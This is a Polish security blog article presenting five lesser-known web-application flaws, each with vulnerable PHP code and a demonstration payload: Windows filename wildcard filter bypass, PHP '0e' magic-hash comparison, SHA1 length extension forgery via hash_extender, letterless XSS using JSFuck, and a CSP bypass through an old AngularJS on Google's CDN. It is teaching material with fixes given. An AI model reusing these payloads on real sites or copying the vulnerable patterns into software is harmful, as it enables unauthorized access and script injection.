Pięć ciekawych przykładów rzadziej spotykanych błędów w aplikacjach WWW

dodał 19 stycznia 2016 o 06:49 w kategorii Błędy  z tagami:
Pięć ciekawych przykładów rzadziej spotykanych błędów w aplikacjach WWW

Jako że Polacy także swoich łowców błędów mają, poprosiliśmy jednego z nich o podzielenie się z Wami ciekawymi przykładami błędów. Zapraszamy na spotkanie z fachowcem, który regularnie namierza i opisuje wpadki programistów.

Autorem tekstu jest Kacper Szurek zajmujący się znajdowaniem błędów w aplikacjach. Klikadziesiąt odkrytych w ostatnich miesiącach błędów opublikował już na swoim blogu i Twiterze. Zapraszamy do lektury opisów pięciu błędów wybranych na tę okazję przez Kacpra.

Omijanie filtrów

Załóżmy, że chcemy pozwolić użytkownikowi na wyświetlenie dowolnego pliku z katalogu ./photos/ oprócz secret.jpg:

$filename = basename((string) $_GET['file']);
if (stristr($filename, 'secret.jpg') === false) {
            echo file_get_contents('./photos/'.$filename);
}

Na pierwszy rzut oka wszystko wydaje się w porządku. Sprawdzamy bowiem czy w ciągu, który podał użytkownik nie znajduje się wyraz „secret.jpg”. Nie zadziałają zatem takie przykłady jak:

secret.jpg
../photos/secret.jpg

Jednakże sprawa wygląda nieco inaczej w przypadku PHP działającego na systemie Windows. W dokumencie Oddities of PHP file access in Windows®  możemy wyczytać iż w tym systemie ciąg << zamieniany jest na * a ponieważ gwiazdka oznacza symbol wieloznaczny (wild card) zostanie wyświetlony pierwszy plik pasujący do ciągu. Możemy zatem ominąć filtr używając:

sec<<

Oprócz * możemy także użyć:

” – zamienany na . (kropka), np. secret”jpg

> – zamieniany na ?, który oznacza dowolny znak, np. secret.jp>

Porównywanie ciągu znaków w PHP

W kolejnym przykładzie chcemy zabezpieczyć stronę przed nieautoryzowanym dostępem. W tym celu aby wyświetlić tajną treść musimy podać hasło, które następnie porównywane jest z tym zapisanym w kodzie.

Ze względów bezpieczeństwa nie przechowujemy hasła w czystej postaci lecz używamy algorytmu md5.

$password = (isset($_GET['password']) ? (string) $_GET['password'] : '');
if ('0e462097431906509019562988736854' == md5($password)) {
            echo 'Tajna treść';
}

Wiemy również, że prawidłowym hasłem jest „240610708”. Okazuje się jednak iż w podanym wyżej przykładzie działa także ciąg „QNKCDZO”. Na pierwszy rzut oka można pomyśleć iż jest to kolizja md5. Sprawdźmy zatem:

md5('240610708') = '0e462097431906509019562988736854'
md5('QNKCDZO') = '0e830400451993494058024219903391'

Może więc błąd w PHP? Zauważmy iż wynikowe ciągi znaków zaczynają się od „0e”. W dokumentacji czytamy: „The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero). Valid numeric data is an optional sign, followed by one or more digits (optionally containing a decimal point), followed by an optional exponent. The exponent is an 'e’ or 'E’ followed by one or more digits.”.

Oznacza to iż jeśli porównamy dwa ciągi znaków zaczynające się od „0e” i zawierające same liczby, zostaną one zrzutowane na liczbę całkowitą. W podanej wyżej sytuacji dochodzi zatem do porównania:

0*10^462097431906509019562988736854 = 0*10^830400451993494058024219903391

Podane wyżej wartości pochodzą z Twittera @spazef0rze. Podobny atak został wykorzystany do resetowania hasła administratora w Simple Machines Forum. W celu ochrony przed tego typu atakami należy porównywać wartości przy użyciu specjalistycznych funkcji, np. hash_equals().

Length extension attack

Jesteśmy dużą firmą prowadzącą szkolenia, po których dostaje się imienne certyfikaty z wydrukowanym kodem certyfikatu. Kod ten można potem sprawdzić na naszej stronie w celu weryfikacji, czy dana osoba rzeczywiście przebyła nasz kurs.

$text = (isset($_GET['text']) ? (string) $_GET['text'] : '');
$hash = (isset($_GET['hash']) ? (string) $_GET['hash'] : '');
$secret = sha1('TO_JEST_MEGA_TAJNE_HASLO');

if ($hash === sha1($secret.$text)) {
      echo 'Certifkat dla: '.$text;
 } else {
            echo '<a href="certyfikat.php?text=test&hash='.sha1($secret.'test').'">Testowy certyfikat</a>';
}

Jak widać firma udostępnia również testowy certifkat w celu sprawdzenia funkcjonalności portalu. Nie zgłębiając się w szczegóły kryptografii okazuje się, iż jest możliwe wygenerowanie prawidłowego certyfikatu dla innej osoby bez znajomości tajnego hasła. Generalnie wszystkie kombinacje:

tajny_kod.dane_kontrolowane_przez_użytkownika

są podatne na atak length extension. Podczas demonstracji użyjemy narzędzia hash extender. Zakładając że dla danych „test” certyfikat to „cd43c014ff62d01131ad02fb8341976fe7161ab2” możemy użyć takie komendy:

./hash_extender --data=74657374 --data-format=hex --signature=cd43c014ff62d01131ad02fb8341976fe7161ab2 --format=sha1 --append=4B6163706572537A7572656B --append-format=hex --out-data-format=html --secret=40

–data = „test” zakodowany w HEX

–data-format = wybieramy tryb hex

–signature = przekopiowany kod certyfikatu

–format = format certyfikatu

–append = jakie dane chcemy dokleić, w tym przypadku KacperSzurek jako hex

–append-format = w jakim formacie są doklejane dane

–secret = długość tajnego kodu użytego do weryfikacji danych

Po wywołaniu programu otrzymujemy:

Type: sha1
Secret length: 40
New signature: 16eb4d555c848a6f3fe207c1e8e63684f6342d7e
New string: test%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%60KacperSzurek

Możemy zatem użyć linku:

certyfikat.php?text=test%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%60KacperSzurek&hash=16eb4d555c848a6f3fe207c1e8e63684f6342d7e

który prawidłowo wskaże: „Certifkat dla: test`KacperSzurek”. W celu ochrony przed tego typu atakami należy stosować HMAC.

XSS bez liter

Pewnego dnia dochodzimy do wniosku, że chcemy udostępnić użytkownikom naszego portalu prosty kalkulator obsługujący nawiasy. Aby sprawę maksymalnie uprościć posłużymy się JavaScript używając funkcji eval(), która wykonuje podany przez nas kod. Ponieważ zależy nam na bezpieczeństwie sprawdzamy czy użytkownik nie podaje czasem liter w celu ataku na nasz serwis.

$input = (isset($_POST['input']) ? (string) $_POST['input'] : '');
if (preg_match('/[a-zA-Z]/', $input)) {
            $output = "'Wrong'";
} else {
            $output = $input;
}

?>
<script>
            eval("alert(<?php echo $output; ?>)");
</script>
<form method="post">
            <input type="text" name="input">
            <input type="submit" value="Wylicz">
</form>

Kalkulator działa jak należy. Obsługuje operacje takie jak:

(4*2)+6

a nie pozwala na wprowadzenie jakiegokolwiek tekstu, na przykład:

document.cookie

Niestety okazuje się, iż możliwy jest atak na taki serwis. W tym celu skorzystamy z JSFuck. Język ten wykorzystuje jedynie 6 znaków: ()[]!+ aby zapisać dowolny kod. Ciąg „xss” wygląda zatem następująco:

(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]

Istnieją różne alternatywy dla podanej strony, na przykład Hieroglyphy wykorzystujący 8 znaków.

Zaufanie do Google

Po ostatnim audycie szefostwo w firmie postanowiło wprowadzić na oficjalnej stronie internetowej politykę CSP w celach ochrony przed atakami XSS. Ponieważ na stronie używany jest CDN od Google postanowiono zezwolić na użycie domeny „ajax.googleapis.com”.

<?php
header('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');
header("X-XSS-Protection: 0");
?>
<?php echo $_GET['xss']; ?>

Niestety podczas ostatniej aktualizacji systemu do kodu wkradł się drobny błąd pozwalający na XSS. Jego naprawa jednak nie otrzymała wysokiego priorytetu ponieważ i tak możliwy był jedynie w teorii ze względu na CSP. Okazuje się jednak, że ślepe ufanie Google w każdej sprawie nie zawsze przynosi korzyść. Na serwerach CDN znajduje się sporo różnych wersji biblioteki AngularJS. Jak czytamy na stronie poświęconej bezpieczeństwu tej biblioteki w wersji 1.0.8 oraz 1.1.5 występuje błąd pozwalający na ominięcie polityki CSP. Możemy zatem używając linku:

<script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script><div ng-app ng-csp><h1 ng-mouseover="$event.target.ownerDocument.defaultView.alert('XSS')">Najedź na mnie</h1></div>

dokonać ataku. Najpierw dołączamy podatną wersje Angulara z serwerów Google. Ponieważ domena „ajax.googleapis.com” została dodana do polityki wszystko działa jak należy. Następnie tworzymy nowy obiekt div i informujemy bibliotekę iż korzystamy z CSP. Dalej tworzymy prosty payload z wykorzystaniem funkcji biblioteki. Inne kombinacje tego ataku możemy znaleźć na stronie zagadki XSS by mario. Podobny sposób został wykorzystany do ominięcia zabezpieczeń dodatku NoScript dla Firefoxa czy też ScriptBlock dla Chrome.